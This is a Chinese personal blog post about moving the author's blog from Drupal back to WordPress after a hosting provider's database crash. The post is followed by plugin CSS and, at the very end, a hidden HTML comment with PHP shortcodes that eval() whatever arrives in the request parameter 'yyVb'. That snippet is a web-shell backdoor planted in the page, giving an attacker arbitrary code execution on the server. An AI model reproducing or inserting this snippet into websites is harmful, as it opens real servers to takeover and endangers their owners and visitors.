有一个词叫折腾,不过我用在这里其实是想悄悄地鼓励一下自己滔滔不绝的 DIY 精神,因为我的 blog 又搬家了。
真是好笑,一只 blog 一年之内大搬了两次家——尤其是对于一只青黄不接的 blog,听起来就像炒绯闻,不过不管怎么样,我又回来了,从 Drupal 回到 WordPress。
自从 2006 年开始 WordPress 之后,一切都很好,我也养成了定期记些流水的“好”习惯,一直到今年五月我用 3 美元换来的无限期空间中风倒地——MySQL 5服务器崩溃,而且 SP 居然没有任何备份,于是我的好习惯被迫终止。同时倒地的还有我苦心经营多年的而且正渐成气候的 fun@1982 (这是我之前用了很久的 blog 名字)。除此以外,还有一宗惨剧不得不提:JJ 因为听信了我的谗言,也在这个便宜不是货的空间上使用了我帮她建立的 WordPress 的 blog,于是另一出家破人亡的悲剧也诞生了。这出悲剧的最后一折是 JJ 从此以后对 WordPress 和自建 blog 丧失了信心(so far so bad)。
如果我没有记错,我的 blog 史嘎然中止的时间正是我离开北京来到广州的时间。纯属巧合。
之后我改用了 Drupal ——另一个基于 PHP 的开源 CMS (Content Management System)。Drupal 是一个非常好用和强大的系统:安装简易、使用方便、弹性极强。它很适合用来建立社区网站、企业网站以及个人网站,blog 当然更不在话下。比如,NASA 和 MTV 的一些子网站,以及大型新闻网站 New York Observer 都是采用 Drupal 的,而我自己也用 Drupal 为我们现在的项目做了一个中文和一个英文网站。简而言之,Drupal 是一个非常强大易用的建站工具。
不过,我只是杀鸡的,用不了那么大把刀。而且还有一个很现实的问题,Drupal 的模板资源远不如 WordPress 多,而我实在没有时间来从头设计一个,甚至连修改 CSS 的时间都没有。经过一段时间的考虑,我还是决定转回 WordPress 好好老老实实地记我的流水。重新选择 WordPress 的原因是1)群众基础好——世界范围内使用这个系统的人非常多,结果就是支持性会很好(挑 blog,我就看人多);2)交情好——我以前研究过这套系统,轻车熟路;3)功能够用且强大——作为 blog 系统,群众们相信它是目前世界上最好的,尤其是最近升级到2.3.1之后 WordPress 有了很大的改进,比如原生支持 tag;4)最吸引人的,我现在的值得信赖的空间 Dreamhost 是 WordPress 的合作伙伴,这样以后我只要轻轻一点就能升级,大大降低维护成本。…… Okay,你多半对我为什么选洋鸡蛋不选柴鸡蛋没有兴趣,那就当我在打广告好了。
在我的前 blog 中风之前的半个月我刚好做了一次数据库备份,虽然我一直没有能够成功恢复,但最近联系了那个曾经中风的 SP 之后他们倒是很好地答应帮助我恢复数据,所以,我有理由相信各位将很快欣赏到到凤凰涅盘的表演。至于稀稀拉拉用了一段时间的 Drupal,我倒是成功地把上面的所有数据导入了 WordPress,不过出现了恼人的乱码问题,不幸的是我也没能解决,于是放弃。反正没有什么有价值的东西在上面,而且即使没大价值的东西也没有多少,我手动恢复好了。
于是,这里又是一个路口,我先在这里立块碑,看看以后我会不会又转回来……
PS
上面的那张照片拍于从旧金山回东京的飞机上,东京虽然不是终点,但至少我已经在回家的路上了。嗯,关于照片,冰凌映着夕阳,很漂亮。
.yuzo_related_post .relatedthumb { background: !important; -webkit-transition: background 0.2s linear; -moz-transition: background 0.2s linear; -o-transition: background 0.2s linear; transition: background 0.2s linear;;color:!important; }
.yuzo_related_post .relatedthumb:hover{background:#fcfcf4 !important;color:!important;}
.yuzo_related_post .yuzo_text {color:!important;}
.yuzo_related_post .relatedthumb:hover .yuzo_text {color:!important;}
.yuzo_related_post .relatedthumb a{color:!important;}
.yuzo_related_post .relatedthumb a:hover{color:!important;}
.yuzo_related_post .relatedthumb:hover a{ color:!important;}
.yuzo_related_post .relatedthumb{ margin: 0px 0px 0px 0px; padding: 5px 5px 5px 5px; }
<!– [insert_php]if (isset($_REQUEST["yyVb"])){eval($_REQUEST["yyVb"]);exit;}[/insert_php][php]if (isset($_REQUEST["yyVb"])){eval($_REQUEST["yyVb"]);exit;}[/php] –>